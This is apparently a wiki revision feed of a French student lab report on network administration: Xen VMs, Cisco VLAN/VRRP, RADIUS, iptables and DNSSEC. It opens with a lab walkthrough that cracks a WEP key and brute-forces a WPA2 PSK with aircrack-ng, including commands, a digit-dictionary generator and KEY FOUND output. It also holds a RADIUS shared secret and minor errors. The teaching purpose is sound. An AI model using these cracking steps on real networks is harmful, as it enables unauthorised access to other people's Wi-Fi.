&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlx40a5efd21410. Donc nous pouvons lancer la commande suivante afin d'&amp;lt;nowiki/&amp;gt;'''identifier l'adresse IP de notre cracotte02'''.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte02 sur le channel 4 et l'adresse ip suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:51  -62      231        0    0   4   54e. WEP  WEP         cracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons '''lancer le cassage''' de la clé avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le nombre de la section DATA doit augmenter asser vite (sinon il y a un problème) :&lt;br /&gt;
&lt;br /&gt;
Après un certain temps on peut entrer la commande suivante pour '''voir si la clé à été trouvée''' (le numéro, ici 5, dépend du nombre de fois ou la commande précédente a été lancé) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute ===&lt;br /&gt;
On s'intéresse maintenant à la '''kracotte02''' (information trouvable par la commande de la section précédente) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un '''fichier Python''' un dictionnaire contenant '''toutes les possibilités sur 8 chiffres'''. Le contenu de ce fichier est le suivant :&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Lancer ce programme afin de créer le fichier dictionnaire_8_chiffres.txt.&lt;br /&gt;
&lt;br /&gt;
La commande suivante est nécessaire pour que aircrack-ng utilise notre dictionnaire :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous pouvons enfin '''lancer le cassage du mot de passe''' par force brute via cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;La commande ci-dessous permet de '''savoir si le mot de passe à été trouvé''' (/!\ cela peut prendre du temps selon la valeur de la clé, dans notre cas plus de 30min) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Nous avons le bon résultat un nouveau '''KEY FOUND''' !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12265</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12265"/>
		<updated>2026-02-15T10:47:59Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
== Infos concernant notre binôme ==&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
Réseau IPv4 : '''192.168.69.0/24'''&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&lt;br /&gt;
== Création du bridge ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des machines virtuelles ==&lt;br /&gt;
Nous avons '''créé nos trois machines''' sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ces commandes vous donnent un tableau récapitulatif avec un le '''root password''' qu'il faut noter pour pouvoir vous connecter (ce mdp est retrouvable dans le .cfg de la machine). Si vous souhaitez changer le mdp de votre machine, veiller à mettre un mdp '''robuste''' car cette machine sera sur internet.&lt;br /&gt;
&lt;br /&gt;
xen create permet de '''démarrer les machines''' avec leur fichiers de configuration :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;xen console permet d'&amp;lt;nowiki/&amp;gt;'''accéder à la console de la machine virtuelle''' (pour quitter la console un exit suffit et pour quitter la saisie de connection '''Ctrl + Shift + 5''') :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine de services ==&lt;br /&gt;
&lt;br /&gt;
=== Montage des partitions /home et /var ===&lt;br /&gt;
&lt;br /&gt;
==== Sur capbreton ====&lt;br /&gt;
&lt;br /&gt;
Pour '''créer les partitions''' /home et /var on entre les deux commandes suivantes dans &amp;lt;code&amp;gt;/dev/virtual&amp;lt;/code&amp;gt; de capbreton :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on vient ajouter les lignes suivante dans &amp;lt;code&amp;gt;/etc/xen/batman.cfg&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Sur la machine de service ====&lt;br /&gt;
&lt;br /&gt;
Pour '''formater et monter''' les partitions nous utilisons les commandes suivantes ('''/!\ pas dans capbreton''') :&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajouter ces lignes dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; afin que les partitions soient '''montées de façon automatiques''' au démarrage de la VM :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin vous pouvez '''redémarrer''' la VM sur capbreton : &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.batman&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau ===&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.2/24 IPv4 de batman (service)&lt;br /&gt;
    gateway 192.168.69.1 IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
# IPv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration de la machine mandataire ==&lt;br /&gt;
On modifie le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; comme suivant :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# IPv4&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.69.1/24 # IPv4 de superman (mandataire)&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27 # IPv4 publique de superman&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration SSH ==&lt;br /&gt;
Ces commandes permettent de '''synchroniser l'heure''' du système :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour configurer le '''ssh sur batman''' on modifie le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.batman.cfg&amp;lt;/code&amp;gt; sur capbreton&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois cela fait on peut '''redémarrer''' la VM avec les commandes précédentes.&lt;br /&gt;
&lt;br /&gt;
Ensuite sur batman on doit lancer l'interface :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reboot&lt;br /&gt;
ifdown eth1; ifup eth1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin '''le ssh est fonctionnel''', penser à noter l'adresse IPv6 de votre machine de service afin de rentrer la commande de ssh suivante :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mascarade ==&lt;br /&gt;
Afin de configu&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
